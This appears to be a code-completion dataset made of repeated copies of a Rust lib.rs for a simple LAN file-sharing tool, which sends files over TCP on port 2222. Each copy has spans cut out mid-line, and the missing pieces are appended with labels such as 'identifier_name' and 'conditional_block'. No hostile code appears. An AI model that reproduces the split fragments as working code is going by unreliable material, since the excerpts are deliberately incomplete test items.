part_representation.push(self.dictionary[part as usize]);
}
return Ok(part_representation.join(" "));
}
pub fn present_inv(&self, s: String) -> Result<ClientTransport> {
let mut res: u32 = 0;
let mut part_count = 0;
for word in s.split(" ") {
if let Ok(val) = self.dictionary.binary_search_by(|p| {
//Flip the search to allow for cmp between String and &str
match word.cmp(p) {
Ordering::Greater => Ordering::Less,
Ordering::Less => Ordering::Greater,
Ordering::Equal => Ordering::Equal,
}
}) {
res += (val as u32) * (self.dict_entries.pow(part_count));
part_count += 1;
} else {
bail!(ErrorKind::InvalidTransport(word.to_owned()));
}
}
return Ok(ClientTransport::new(res));
}
}
pub struct ServerTransport {
state: u32,
max_state: u32,
}
pub struct ClientTransport {
state: u32,
}
pub trait Transport {
fn state(&self) -> u32;
fn max_state(&self) -> u32;
}
impl ServerTransport {
fn new(state: u32, max_state: u32) -> Self {
return ServerTransport {
state: state,
max_state: max_state,
};
}
}
impl Transport for ServerTransport {
fn state(&self) -> u32 {
return self.state;
}
fn max_state(&self) -> u32 {
return self.max_state;
}
}
pub trait PartialTransport {
fn state(&self) -> u32;
}
impl ClientTransport {
fn new(state: u32) -> Self {
return ClientTransport {
state: state,
};
}
}
impl PartialTransport for ClientTransport {
fn state(&self) -> u32 {
return self.state;
}
}
impl <T: Transport> PartialTransport for T {
fn state(&self) -> u32 {
return Transport::state(self);
}
}
pub trait Transportable {
fn make_transport(&self) -> Result<ServerTransport>;
fn from_transport<T: PartialTransport>(t: T) -> Result<Self> where Self: std::marker::Sized;
}
impl Transportable for std::net::Ipv4Addr {
fn make_transport(&self) -> Result<ServerTransport> {
return Ok(ServerTransport::new(u32::from(self.clone()), std::u32::MAX));
}
fn from_transport<T: PartialTransport>(t: T) -> Result<Self> {
return Ok(std::net::Ipv4Addr::from(t.state()));
}
}
#[derive(Clone)]
pub struct FileInfo{
path: PathBuf,
len: u64,
}
impl FileInfo {
fn new(path: PathBuf, len: u64) -> FileInfo {
return FileInfo {
path: path,
len: len,
}
}
pub fn from_path(path: PathBuf) -> Result<FileInfo> {
let metadata = std::fs::metadata(&path)?;
return Ok(FileInfo::new(path, metadata.len()))
}
pub fn open(&self) -> std::result::Result<std::fs::File, std::io::Error> {
return std::fs::File::open(&self.path);
}
}
//@Refactor: This is just private but should be refactored
fn send_file<S: Write>(mut stream: &mut S, file: &FileInfo) -> Result<()> {
let filename = match file.path.file_name()
.and_then(|x| x.to_str())
.map(|x| x.to_owned()) {
Some(x) => x,
None => return Err(ErrorKind::PathConversion.into()),
};
let mut message = FileMessage::new(filename, file.len as u32, try!(file.open()));
message.write(&mut stream)
.chain_err(|| ErrorKind::Serialization)?;
return Ok(());
}
pub struct FileRepository {
files: std::collections::HashMap<u32, FileInfo>,
pub interface: network::Interface,
next_id: u32,
}
impl FileRepository {
pub fn new(interface: network::Interface) -> Self {
return FileRepository {
files: std::collections::HashMap::new(),
interface: interface,
next_id: 0,
};
}
pub fn add_file(&mut self, file: FileInfo) -> Result<ServerTransport> {
self.files.insert(self.next_id, file);
return self.interface.addr.make_transport();
}
fn | (&self, index: u32) -> Result<&FileInfo> {
return self.files.get(&index)
.ok_or_else(|| ErrorKind::UnknownFile(index).into());
}
pub fn run(&self) -> Result<()> {
//@Expansion: Maybe don't use fixed ports
let listener = std::net::TcpListener::bind((self.interface.addr, 2222))
.chain_err(|| ErrorKind::Bind(self.interface.addr, 2222))?;
for conn in listener.incoming() {
let mut stream = conn
.chain_err(|| ErrorKind::ServerConnection)?;
//TODO: I should read some sort of info about which file to get here
let file = self.get_file(0)
.chain_err(|| ErrorKind::SendFile(stream.peer_addr().unwrap()))?;
send_file(&mut stream, file)
.chain_err(|| ErrorKind::SendFile(stream.peer_addr().unwrap()))?;
}
return Ok(());
}
}
pub struct FileClient {
}
impl FileClient{
pub fn new() -> Self {
return FileClient {
}
}
pub fn get_file<T: PartialTransport>(&self, transport: T, out_path: Option<std::path::PathBuf>) -> Result<()> {
let ip = std::net::Ipv4Addr::from_transport(transport)?;
println!("{} from ip {}",
Green.paint("Downloading"),
Yellow.paint(ip.to_string()));
//@Expansion: We can't time out right now. Use the net2::TcpBuilder?
//@Expansion: Maybe don't use fixed ports
let stream = std::net::TcpStream::connect((ip, 2222))
.chain_err(|| ErrorKind::ClientConnection(ip, 2222))?;
let mut message = FileMessage::read(stream)
.chain_err(|| ErrorKind::Fetch)?;
let mut pb = ProgressBar::new(message.size as u64);
pb.set_units(Units::Bytes);
let new_path = out_path
.unwrap_or(std::path::PathBuf::from(&message.name));
if new_path.exists() {
bail!(ErrorKind::FileExists(new_path));
}
//TODO: Make some error wrapper
let mut file = std::fs::File::create(new_path)?;
let mut buffer = [0u8; 8192];
loop{
let read = message.file.read(&mut buffer)
.chain_err(|| ErrorKind::ReadContent)?;
if read == 0 {
break;
}
pb.add(read as u64);
file.write(&mut buffer[0..read])
.chain_err(|| ErrorKind::WriteContent)?;
}
return Ok(());
}
}
| get_file | identifier_name |
lib.rs |
// `error_chain!` can recurse deeply
#![recursion_limit = "1024"]
// Import the macro. Don't forget to add `error-chain` in your
// `Cargo.toml`!
#[macro_use]
extern crate error_chain;
#[macro_use]
extern crate log;
extern crate clap;
extern crate byteorder;
extern crate ansi_term;
extern crate pbr;
pub mod network;
use std::path::PathBuf;
use std::io::{Read, Write};
use byteorder::{BigEndian, ReadBytesExt, WriteBytesExt};
use ansi_term::Colour::*;
use std::cmp::Ordering;
use pbr::{ProgressBar, Units};
pub mod errors {
use std::io;
use std::net;
use std::path;
error_chain! {
// The type defined for this error. These are the conventional
// and recommended names, but they can be arbitrarily chosen.
//
// It is also possible to leave this section out entirely, or
// leave it empty, and these names will be used automatically.
types {
Error, ErrorKind, ResultExt, Result;
}
// Without the `Result` wrapper:
//
// types {
// Error, ErrorKind, ResultExt;
// }
// Automatic conversions between this error chain and other
// error chains. In this case, it will e.g. generate an
// `ErrorKind` variant called `Another` which in turn contains
// the `other_error::ErrorKind`, with conversions from
// `other_error::Error`.
//
// Optionally, some attributes can be added to a variant.
//
// This section can be empty.
links {
}
// Automatic conversions between this error chain and other
// error types not defined by the `error_chain!`. These will be
// wrapped in a new error with, in the first case, the
// `ErrorKind::Fmt` variant. The description and cause will
// forward to the description and cause of the original error.
//
// Optionally, some attributes can be added to a variant.
//
// This section can be empty.
foreign_links {
Io(io::Error) #[cfg(unix)];
}
// Define additional `ErrorKind` variants. The syntax here is
// the same as `quick_error!`, but the `from()` and `cause()`
// syntax is not supported.
errors {
PathConversion {
description("Failed coverting the path to a string")
display("Failed converting path to string")
}
Serialization {
description("Serialization failed")
display("Failed serializing")
}
//I think cloning the pathbuf is ok for the slow path in case of error
SendFile(remote_addr: net::SocketAddr){
description("Error while sending file")
display("While sending to {}", remote_addr)
}
UnknownFile(index: u32) {
description("The client requested an unknown file")
display("The client requested an unknown file with id {}", index)
}
ServerConnection {
description("While processing connection")
display("A low level error occured while processing connection")
}
ClientConnection(ip: net::Ipv4Addr, port: u16) {
description("Client failed to connect to server")
display("While connecting to {}:{}", ip, port)
}
Enumeration {
description("While enumerating interface")
display("While enumerating interfaces")
}
Bind(ip: net::Ipv4Addr, port: u16) {
description("While binding connection")
display("While binding to {}:{}", ip, port)
}
IncompleteRead(actual: usize, expected: usize) {
description("An error occured which caused a read to end before getting the expected data")
display("A read didn't get the expected amount of data [Expected {}, Actual {}]", actual, expected)
}
Fetch {
description("While reading message")
display("While reading message")
}
InvalidTransport(t: String) {
description("Transport not valid")
display("Invalid transport: {}", t)
}
FileExists(p: ::std::path::PathBuf) {
description("File already exists")
display("Tried to write to existing file: {}", p.to_string_lossy())
}
WriteContent {
description("An error occured while writing content to disk")
display("While writing content to disk")
}
ReadContent {
description("An error occured while reading content from network")
display("While reading content from network")
}
}
}
}
use errors::*;
trait Readn {
fn readn(&mut self, buff: &mut Vec<u8>, n: usize) -> std::io::Result<usize>;
}
impl<T: Read> Readn for T {
fn readn(&mut self, mut buff: &mut Vec<u8>, n: usize) -> std::io::Result<usize> {
let mut sub = self.take(n as u64);
return sub.read_to_end(&mut buff);
}
}
trait Streamable<'a>{
fn read<T: Read + 'a>(stream: T) -> Result<Self> where Self: std::marker::Sized;
fn write<T: Write + 'a>(&mut self, stream: &mut T) -> Result<usize>;
}
struct FileMessage<'a> {
name_size: u32,
name: String,
size: u32,
file: Box<Read + 'a>,
}
impl<'a> FileMessage<'a> {
fn new<T: Read + 'a>(name: String, size: u32, stream: T) -> Self {
return FileMessage {
name_size: name.len() as u32, //@Expansion: 32 bits is a lot, but maybe in the far flung future.
name: name,
size: size,
file: Box::new(stream)
};
}
}
impl<'a> Streamable<'a> for FileMessage<'a> {
fn read<T: Read + 'a>(mut stream: T) -> Result<Self> {
//Get the length of the name
let name_len = try!(stream.read_u32::<BigEndian>());
//Get the name from the stream
let mut name_buff = Vec::with_capacity(name_len as usize); //@Expansion: Here we have the 32-bit again.
let name_read = try!(stream.readn(&mut name_buff, name_len as usize));
if name_len != name_read as u32 {
bail!(ErrorKind::IncompleteRead(name_read, name_len as usize));
}
let name = String::from_utf8(name_buff).unwrap(); //@Error: Make error
//Get the length of the file contents
let file_len = try!(stream.read_u32::<BigEndian>()); //@Expansion: u32. That's a direct limit on the size of files.
//Currently we aren't aiming at
//supporting large files, which makes
//it ok.
//We aren't getting the file contents because we don't want to store it all in memory
return Ok(FileMessage {
name_size: name_len,
name: name,
size: file_len,
file: Box::new(stream),
});
}
fn write<T: Write + 'a>(&mut self, mut stream: &mut T) -> Result<usize>{
try!(stream.write_u32::<BigEndian>(self.name_size)); //@Error: Should this be handled differently?
try!(stream.write_all(self.name.as_bytes()));
try!(stream.write_u32::<BigEndian>(self.size));
try!(std::io::copy(&mut self.file, &mut stream));
return Ok(0);
}
}
pub type Dict<'a> = Box<[&'a str]>;
pub struct TransportPresenter<'a> {
dictionary: Dict<'a>,
dict_entries: u32,
}
impl<'a> TransportPresenter<'a> {
pub fn new(dictionary: Dict<'a>, dict_entries: u32) -> Self {
return TransportPresenter {
dictionary: dictionary,
dict_entries: dict_entries,
};
}
pub fn present(&self, t: &Transport) -> Result<String> {
let parts = (t.max_state() as f64).log(self.dict_entries as f64).ceil() as u32;
let mut part_representation: Vec<&str> = Vec::with_capacity(parts as usize);
let mut remainder = t.state();
for _ in 0..parts {
let part = remainder % self.dict_entries;
remainder = remainder / self.dict_entries;
part_representation.push(self.dictionary[part as usize]);
}
return Ok(part_representation.join(" "));
}
pub fn present_inv(&self, s: String) -> Result<ClientTransport> {
let mut res: u32 = 0;
let mut part_count = 0;
for word in s.split(" ") {
if let Ok(val) = self.dictionary.binary_search_by(|p| {
//Flip the search to allow for cmp between String and &str
match word.cmp(p) {
Ordering::Greater => Ordering::Less,
Ordering::Less => Ordering::Greater,
Ordering::Equal => Ordering::Equal,
}
}) {
res += (val as u32) * (self.dict_entries.pow(part_count));
part_count += 1;
} else {
bail!(ErrorKind::InvalidTransport(word.to_owned()));
}
}
return Ok(ClientTransport::new(res));
}
}
pub struct ServerTransport {
state: u32,
max_state: u32,
}
pub struct ClientTransport {
state: u32,
}
pub trait Transport {
fn state(&self) -> u32;
fn max_state(&self) -> u32;
}
impl ServerTransport {
fn new(state: u32, max_state: u32) -> Self {
return ServerTransport {
state: state,
max_state: max_state,
};
}
}
impl Transport for ServerTransport {
fn state(&self) -> u32 {
return self.state;
}
fn max_state(&self) -> u32 {
return self.max_state;
}
}
pub trait PartialTransport {
fn state(&self) -> u32;
}
impl ClientTransport {
fn new(state: u32) -> Self {
return ClientTransport {
state: state,
};
}
}
impl PartialTransport for ClientTransport {
fn state(&self) -> u32 {
return self.state;
}
}
impl <T: Transport> PartialTransport for T {
fn state(&self) -> u32 {
return Transport::state(self);
}
}
pub trait Transportable {
fn make_transport(&self) -> Result<ServerTransport>;
fn from_transport<T: PartialTransport>(t: T) -> Result<Self> where Self: std::marker::Sized;
}
impl Transportable for std::net::Ipv4Addr {
fn make_transport(&self) -> Result<ServerTransport> {
return Ok(ServerTransport::new(u32::from(self.clone()), std::u32::MAX));
}
fn from_transport<T: PartialTransport>(t: T) -> Result<Self> {
return Ok(std::net::Ipv4Addr::from(t.state()));
}
}
#[derive(Clone)]
pub struct FileInfo{
path: PathBuf,
len: u64,
}
impl FileInfo {
fn new(path: PathBuf, len: u64) -> FileInfo {
return FileInfo {
path: path,
len: len,
}
}
pub fn from_path(path: PathBuf) -> Result<FileInfo> {
let metadata = std::fs::metadata(&path)?;
return Ok(FileInfo::new(path, metadata.len()))
}
pub fn open(&self) -> std::result::Result<std::fs::File, std::io::Error> {
return std::fs::File::open(&self.path);
}
}
//@Refactor: This is just private but should be refactored
fn send_file<S: Write>(mut stream: &mut S, file: &FileInfo) -> Result<()> {
let filename = match file.path.file_name()
.and_then(|x| x.to_str())
.map(|x| x.to_owned()) {
Some(x) => x,
None => return Err(ErrorKind::PathConversion.into()),
};
let mut message = FileMessage::new(filename, file.len as u32, try!(file.open()));
message.write(&mut stream)
.chain_err(|| ErrorKind::Serialization)?;
return Ok(());
}
pub struct FileRepository {
files: std::collections::HashMap<u32, FileInfo>,
pub interface: network::Interface,
next_id: u32,
}
impl FileRepository {
pub fn new(interface: network::Interface) -> Self {
return FileRepository {
files: std::collections::HashMap::new(),
interface: interface,
next_id: 0,
};
}
pub fn add_file(&mut self, file: FileInfo) -> Result<ServerTransport> {
self.files.insert(self.next_id, file);
return self.interface.addr.make_transport();
}
fn get_file(&self, index: u32) -> Result<&FileInfo> {
return self.files.get(&index)
.ok_or_else(|| ErrorKind::UnknownFile(index).into());
}
pub fn run(&self) -> Result<()> {
//@Expansion: Maybe don't use fixed ports
let listener = std::net::TcpListener::bind((self.interface.addr, 2222))
.chain_err(|| ErrorKind::Bind(self.interface.addr, 2222))?;
for conn in listener.incoming() {
let mut stream = conn
.chain_err(|| ErrorKind::ServerConnection)?;
//TODO: I should read some sort of info about which file to get here
let file = self.get_file(0)
.chain_err(|| ErrorKind::SendFile(stream.peer_addr().unwrap()))?;
send_file(&mut stream, file)
.chain_err(|| ErrorKind::SendFile(stream.peer_addr().unwrap()))?;
}
return Ok(());
}
}
pub struct FileClient {
}
impl FileClient{
pub fn new() -> Self {
return FileClient {
}
}
pub fn get_file<T: PartialTransport>(&self, transport: T, out_path: Option<std::path::PathBuf>) -> Result<()> {
let ip = std::net::Ipv4Addr::from_transport(transport)?;
println!("{} from ip {}",
Green.paint("Downloading"),
Yellow.paint(ip.to_string()));
//@Expansion: We can't time out right now. Use the net2::TcpBuilder?
//@Expansion: Maybe don't use fixed ports
let stream = std::net::TcpStream::connect((ip, 2222))
.chain_err(|| ErrorKind::ClientConnection(ip, 2222))?;
let mut message = FileMessage::read(stream)
.chain_err(|| ErrorKind::Fetch)?;
let mut pb = ProgressBar::new(message.size as u64);
pb.set_units(Units::Bytes);
let new_path = out_path
.unwrap_or(std::path::PathBuf::from(&message.name));
if new_path.exists() |
//TODO: Make some error wrapper
let mut file = std::fs::File::create(new_path)?;
let mut buffer = [0u8; 8192];
loop{
let read = message.file.read(&mut buffer)
.chain_err(|| ErrorKind::ReadContent)?;
if read == 0 {
break;
}
pb.add(read as u64);
file.write(&mut buffer[0..read])
.chain_err(|| ErrorKind::WriteContent)?;
}
return Ok(());
}
}
| {
bail!(ErrorKind::FileExists(new_path));
} | conditional_block |
lib.rs | // `error_chain!` can recurse deeply
#![recursion_limit = "1024"]
// Import the macro. Don't forget to add `error-chain` in your
// `Cargo.toml`!
#[macro_use]
extern crate error_chain;
#[macro_use]
extern crate log;
extern crate clap;
extern crate byteorder;
extern crate ansi_term;
extern crate pbr;
pub mod network;
use std::path::PathBuf;
use std::io::{Read, Write};
use byteorder::{BigEndian, ReadBytesExt, WriteBytesExt};
use ansi_term::Colour::*;
use std::cmp::Ordering;
use pbr::{ProgressBar, Units};
pub mod errors {
use std::io;
use std::net;
use std::path;
error_chain! {
// The type defined for this error. These are the conventional
// and recommended names, but they can be arbitrarily chosen.
//
// It is also possible to leave this section out entirely, or
// leave it empty, and these names will be used automatically.
types {
Error, ErrorKind, ResultExt, Result;
}
// Without the `Result` wrapper:
//
// types {
// Error, ErrorKind, ResultExt;
// }
// Automatic conversions between this error chain and other
// error chains. In this case, it will e.g. generate an
// `ErrorKind` variant called `Another` which in turn contains
// the `other_error::ErrorKind`, with conversions from
// `other_error::Error`.
//
// Optionally, some attributes can be added to a variant.
//
// This section can be empty.
links {
}
// Automatic conversions between this error chain and other
// error types not defined by the `error_chain!`. These will be
// wrapped in a new error with, in the first case, the
// `ErrorKind::Fmt` variant. The description and cause will
// forward to the description and cause of the original error.
//
// Optionally, some attributes can be added to a variant.
//
// This section can be empty.
foreign_links {
Io(io::Error) #[cfg(unix)];
}
// Define additional `ErrorKind` variants. The syntax here is
// the same as `quick_error!`, but the `from()` and `cause()`
// syntax is not supported.
errors {
PathConversion {
description("Failed coverting the path to a string")
display("Failed converting path to string")
}
Serialization {
description("Serialization failed")
display("Failed serializing")
}
//I think cloning the pathbuf is ok for the slow path in case of error
SendFile(remote_addr: net::SocketAddr){
description("Error while sending file")
display("While sending to {}", remote_addr)
}
UnknownFile(index: u32) {
description("The client requested an unknown file")
display("The client requested an unknown file with id {}", index)
}
ServerConnection {
description("While processing connection")
display("A low level error occured while processing connection")
}
ClientConnection(ip: net::Ipv4Addr, port: u16) {
description("Client failed to connect to server")
display("While connecting to {}:{}", ip, port)
}
Enumeration {
description("While enumerating interface")
display("While enumerating interfaces")
}
Bind(ip: net::Ipv4Addr, port: u16) {
description("While binding connection")
display("While binding to {}:{}", ip, port)
}
IncompleteRead(actual: usize, expected: usize) {
description("An error occured which caused a read to end before getting the expected data")
display("A read didn't get the expected amount of data [Expected {}, Actual {}]", actual, expected)
}
Fetch {
description("While reading message")
display("While reading message")
}
InvalidTransport(t: String) {
description("Transport not valid")
display("Invalid transport: {}", t)
}
FileExists(p: ::std::path::PathBuf) {
description("File already exists")
display("Tried to write to existing file: {}", p.to_string_lossy())
}
WriteContent {
description("An error occured while writing content to disk")
display("While writing content to disk")
}
ReadContent {
description("An error occured while reading content from network")
display("While reading content from network")
}
}
}
}
use errors::*;
trait Readn {
fn readn(&mut self, buff: &mut Vec<u8>, n: usize) -> std::io::Result<usize>;
}
impl<T: Read> Readn for T {
fn readn(&mut self, mut buff: &mut Vec<u8>, n: usize) -> std::io::Result<usize> {
let mut sub = self.take(n as u64);
return sub.read_to_end(&mut buff);
}
}
trait Streamable<'a>{
fn read<T: Read + 'a>(stream: T) -> Result<Self> where Self: std::marker::Sized;
fn write<T: Write + 'a>(&mut self, stream: &mut T) -> Result<usize>;
}
struct FileMessage<'a> {
name_size: u32,
name: String,
size: u32,
file: Box<Read + 'a>,
}
impl<'a> FileMessage<'a> {
fn new<T: Read + 'a>(name: String, size: u32, stream: T) -> Self {
return FileMessage {
name_size: name.len() as u32, //@Expansion: 32 bits is a lot, but maybe in the far flung future.
name: name,
size: size,
file: Box::new(stream)
};
}
}
impl<'a> Streamable<'a> for FileMessage<'a> {
fn read<T: Read + 'a>(mut stream: T) -> Result<Self> {
//Get the length of the name
let name_len = try!(stream.read_u32::<BigEndian>());
//Get the name from the stream
let mut name_buff = Vec::with_capacity(name_len as usize); //@Expansion: Here we have the 32-bit again.
let name_read = try!(stream.readn(&mut name_buff, name_len as usize));
if name_len != name_read as u32 {
bail!(ErrorKind::IncompleteRead(name_read, name_len as usize));
}
let name = String::from_utf8(name_buff).unwrap(); //@Error: Make error
//Get the length of the file contents
let file_len = try!(stream.read_u32::<BigEndian>()); //@Expansion: u32. That's a direct limit on the size of files.
//Currently we aren't aiming at
//supporting large files, which makes
//it ok.
//We aren't getting the file contents because we don't want to store it all in memory
return Ok(FileMessage {
name_size: name_len,
name: name,
size: file_len,
file: Box::new(stream),
});
}
fn write<T: Write + 'a>(&mut self, mut stream: &mut T) -> Result<usize>{
try!(stream.write_u32::<BigEndian>(self.name_size)); //@Error: Should this be handled differently?
try!(stream.write_all(self.name.as_bytes()));
try!(stream.write_u32::<BigEndian>(self.size));
try!(std::io::copy(&mut self.file, &mut stream));
return Ok(0);
}
}
pub type Dict<'a> = Box<[&'a str]>;
pub struct TransportPresenter<'a> {
dictionary: Dict<'a>,
dict_entries: u32,
}
impl<'a> TransportPresenter<'a> {
pub fn new(dictionary: Dict<'a>, dict_entries: u32) -> Self {
return TransportPresenter { | };
}
pub fn present(&self, t: &Transport) -> Result<String> {
let parts = (t.max_state() as f64).log(self.dict_entries as f64).ceil() as u32;
let mut part_representation: Vec<&str> = Vec::with_capacity(parts as usize);
let mut remainder = t.state();
for _ in 0..parts {
let part = remainder % self.dict_entries;
remainder = remainder / self.dict_entries;
part_representation.push(self.dictionary[part as usize]);
}
return Ok(part_representation.join(" "));
}
pub fn present_inv(&self, s: String) -> Result<ClientTransport> {
let mut res: u32 = 0;
let mut part_count = 0;
for word in s.split(" ") {
if let Ok(val) = self.dictionary.binary_search_by(|p| {
//Flip the search to allow for cmp between String and &str
match word.cmp(p) {
Ordering::Greater => Ordering::Less,
Ordering::Less => Ordering::Greater,
Ordering::Equal => Ordering::Equal,
}
}) {
res += (val as u32) * (self.dict_entries.pow(part_count));
part_count += 1;
} else {
bail!(ErrorKind::InvalidTransport(word.to_owned()));
}
}
return Ok(ClientTransport::new(res));
}
}
pub struct ServerTransport {
state: u32,
max_state: u32,
}
pub struct ClientTransport {
state: u32,
}
pub trait Transport {
fn state(&self) -> u32;
fn max_state(&self) -> u32;
}
impl ServerTransport {
fn new(state: u32, max_state: u32) -> Self {
return ServerTransport {
state: state,
max_state: max_state,
};
}
}
impl Transport for ServerTransport {
fn state(&self) -> u32 {
return self.state;
}
fn max_state(&self) -> u32 {
return self.max_state;
}
}
pub trait PartialTransport {
fn state(&self) -> u32;
}
impl ClientTransport {
fn new(state: u32) -> Self {
return ClientTransport {
state: state,
};
}
}
impl PartialTransport for ClientTransport {
fn state(&self) -> u32 {
return self.state;
}
}
impl <T: Transport> PartialTransport for T {
fn state(&self) -> u32 {
return Transport::state(self);
}
}
pub trait Transportable {
fn make_transport(&self) -> Result<ServerTransport>;
fn from_transport<T: PartialTransport>(t: T) -> Result<Self> where Self: std::marker::Sized;
}
impl Transportable for std::net::Ipv4Addr {
fn make_transport(&self) -> Result<ServerTransport> {
return Ok(ServerTransport::new(u32::from(self.clone()), std::u32::MAX));
}
fn from_transport<T: PartialTransport>(t: T) -> Result<Self> {
return Ok(std::net::Ipv4Addr::from(t.state()));
}
}
#[derive(Clone)]
pub struct FileInfo{
path: PathBuf,
len: u64,
}
impl FileInfo {
fn new(path: PathBuf, len: u64) -> FileInfo {
return FileInfo {
path: path,
len: len,
}
}
pub fn from_path(path: PathBuf) -> Result<FileInfo> {
let metadata = std::fs::metadata(&path)?;
return Ok(FileInfo::new(path, metadata.len()))
}
pub fn open(&self) -> std::result::Result<std::fs::File, std::io::Error> {
return std::fs::File::open(&self.path);
}
}
//@Refactor: This is just private but should be refactored
fn send_file<S: Write>(mut stream: &mut S, file: &FileInfo) -> Result<()> {
let filename = match file.path.file_name()
.and_then(|x| x.to_str())
.map(|x| x.to_owned()) {
Some(x) => x,
None => return Err(ErrorKind::PathConversion.into()),
};
let mut message = FileMessage::new(filename, file.len as u32, try!(file.open()));
message.write(&mut stream)
.chain_err(|| ErrorKind::Serialization)?;
return Ok(());
}
pub struct FileRepository {
files: std::collections::HashMap<u32, FileInfo>,
pub interface: network::Interface,
next_id: u32,
}
impl FileRepository {
pub fn new(interface: network::Interface) -> Self {
return FileRepository {
files: std::collections::HashMap::new(),
interface: interface,
next_id: 0,
};
}
pub fn add_file(&mut self, file: FileInfo) -> Result<ServerTransport> {
self.files.insert(self.next_id, file);
return self.interface.addr.make_transport();
}
fn get_file(&self, index: u32) -> Result<&FileInfo> {
return self.files.get(&index)
.ok_or_else(|| ErrorKind::UnknownFile(index).into());
}
pub fn run(&self) -> Result<()> {
//@Expansion: Maybe don't use fixed ports
let listener = std::net::TcpListener::bind((self.interface.addr, 2222))
.chain_err(|| ErrorKind::Bind(self.interface.addr, 2222))?;
for conn in listener.incoming() {
let mut stream = conn
.chain_err(|| ErrorKind::ServerConnection)?;
//TODO: I should read some sort of info about which file to get here
let file = self.get_file(0)
.chain_err(|| ErrorKind::SendFile(stream.peer_addr().unwrap()))?;
send_file(&mut stream, file)
.chain_err(|| ErrorKind::SendFile(stream.peer_addr().unwrap()))?;
}
return Ok(());
}
}
pub struct FileClient {
}
impl FileClient{
pub fn new() -> Self {
return FileClient {
}
}
pub fn get_file<T: PartialTransport>(&self, transport: T, out_path: Option<std::path::PathBuf>) -> Result<()> {
let ip = std::net::Ipv4Addr::from_transport(transport)?;
println!("{} from ip {}",
Green.paint("Downloading"),
Yellow.paint(ip.to_string()));
//@Expansion: We can't time out right now. Use the net2::TcpBuilder?
//@Expansion: Maybe don't use fixed ports
let stream = std::net::TcpStream::connect((ip, 2222))
.chain_err(|| ErrorKind::ClientConnection(ip, 2222))?;
let mut message = FileMessage::read(stream)
.chain_err(|| ErrorKind::Fetch)?;
let mut pb = ProgressBar::new(message.size as u64);
pb.set_units(Units::Bytes);
let new_path = out_path
.unwrap_or(std::path::PathBuf::from(&message.name));
if new_path.exists() {
bail!(ErrorKind::FileExists(new_path));
}
//TODO: Make some error wrapper
let mut file = std::fs::File::create(new_path)?;
let mut buffer = [0u8; 8192];
loop{
let read = message.file.read(&mut buffer)
.chain_err(|| ErrorKind::ReadContent)?;
if read == 0 {
break;
}
pb.add(read as u64);
file.write(&mut buffer[0..read])
.chain_err(|| ErrorKind::WriteContent)?;
}
return Ok(());
}
} | dictionary: dictionary,
dict_entries: dict_entries, | random_line_split |
lib.rs |
// `error_chain!` can recurse deeply
#![recursion_limit = "1024"]
// Import the macro. Don't forget to add `error-chain` in your
// `Cargo.toml`!
#[macro_use]
extern crate error_chain;
#[macro_use]
extern crate log;
extern crate clap;
extern crate byteorder;
extern crate ansi_term;
extern crate pbr;
pub mod network;
use std::path::PathBuf;
use std::io::{Read, Write};
use byteorder::{BigEndian, ReadBytesExt, WriteBytesExt};
use ansi_term::Colour::*;
use std::cmp::Ordering;
use pbr::{ProgressBar, Units};
pub mod errors {
use std::io;
use std::net;
use std::path;
error_chain! {
// The type defined for this error. These are the conventional
// and recommended names, but they can be arbitrarily chosen.
//
// It is also possible to leave this section out entirely, or
// leave it empty, and these names will be used automatically.
types {
Error, ErrorKind, ResultExt, Result;
}
// Without the `Result` wrapper:
//
// types {
// Error, ErrorKind, ResultExt;
// }
// Automatic conversions between this error chain and other
// error chains. In this case, it will e.g. generate an
// `ErrorKind` variant called `Another` which in turn contains
// the `other_error::ErrorKind`, with conversions from
// `other_error::Error`.
//
// Optionally, some attributes can be added to a variant.
//
// This section can be empty.
links {
}
// Automatic conversions between this error chain and other
// error types not defined by the `error_chain!`. These will be
// wrapped in a new error with, in the first case, the
// `ErrorKind::Fmt` variant. The description and cause will
// forward to the description and cause of the original error.
//
// Optionally, some attributes can be added to a variant.
//
// This section can be empty.
foreign_links {
Io(io::Error) #[cfg(unix)];
}
// Define additional `ErrorKind` variants. The syntax here is
// the same as `quick_error!`, but the `from()` and `cause()`
// syntax is not supported.
errors {
PathConversion {
description("Failed coverting the path to a string")
display("Failed converting path to string")
}
Serialization {
description("Serialization failed")
display("Failed serializing")
}
//I think cloning the pathbuf is ok for the slow path in case of error
SendFile(remote_addr: net::SocketAddr){
description("Error while sending file")
display("While sending to {}", remote_addr)
}
UnknownFile(index: u32) {
description("The client requested an unknown file")
display("The client requested an unknown file with id {}", index)
}
ServerConnection {
description("While processing connection")
display("A low level error occured while processing connection")
}
ClientConnection(ip: net::Ipv4Addr, port: u16) {
description("Client failed to connect to server")
display("While connecting to {}:{}", ip, port)
}
Enumeration {
description("While enumerating interface")
display("While enumerating interfaces")
}
Bind(ip: net::Ipv4Addr, port: u16) {
description("While binding connection")
display("While binding to {}:{}", ip, port)
}
IncompleteRead(actual: usize, expected: usize) {
description("An error occured which caused a read to end before getting the expected data")
display("A read didn't get the expected amount of data [Expected {}, Actual {}]", actual, expected)
}
Fetch {
description("While reading message")
display("While reading message")
}
InvalidTransport(t: String) {
description("Transport not valid")
display("Invalid transport: {}", t)
}
FileExists(p: ::std::path::PathBuf) {
description("File already exists")
display("Tried to write to existing file: {}", p.to_string_lossy())
}
WriteContent {
description("An error occured while writing content to disk")
display("While writing content to disk")
}
ReadContent {
description("An error occured while reading content from network")
display("While reading content from network")
}
}
}
}
use errors::*;
trait Readn {
fn readn(&mut self, buff: &mut Vec<u8>, n: usize) -> std::io::Result<usize>;
}
impl<T: Read> Readn for T {
fn readn(&mut self, mut buff: &mut Vec<u8>, n: usize) -> std::io::Result<usize> {
let mut sub = self.take(n as u64);
return sub.read_to_end(&mut buff);
}
}
trait Streamable<'a>{
fn read<T: Read + 'a>(stream: T) -> Result<Self> where Self: std::marker::Sized;
fn write<T: Write + 'a>(&mut self, stream: &mut T) -> Result<usize>;
}
struct FileMessage<'a> {
name_size: u32,
name: String,
size: u32,
file: Box<Read + 'a>,
}
impl<'a> FileMessage<'a> {
fn new<T: Read + 'a>(name: String, size: u32, stream: T) -> Self {
return FileMessage {
name_size: name.len() as u32, //@Expansion: 32 bits is a lot, but maybe in the far flung future.
name: name,
size: size,
file: Box::new(stream)
};
}
}
impl<'a> Streamable<'a> for FileMessage<'a> {
fn read<T: Read + 'a>(mut stream: T) -> Result<Self> {
//Get the length of the name
let name_len = try!(stream.read_u32::<BigEndian>());
//Get the name from the stream
let mut name_buff = Vec::with_capacity(name_len as usize); //@Expansion: Here we have the 32-bit again.
let name_read = try!(stream.readn(&mut name_buff, name_len as usize));
if name_len != name_read as u32 {
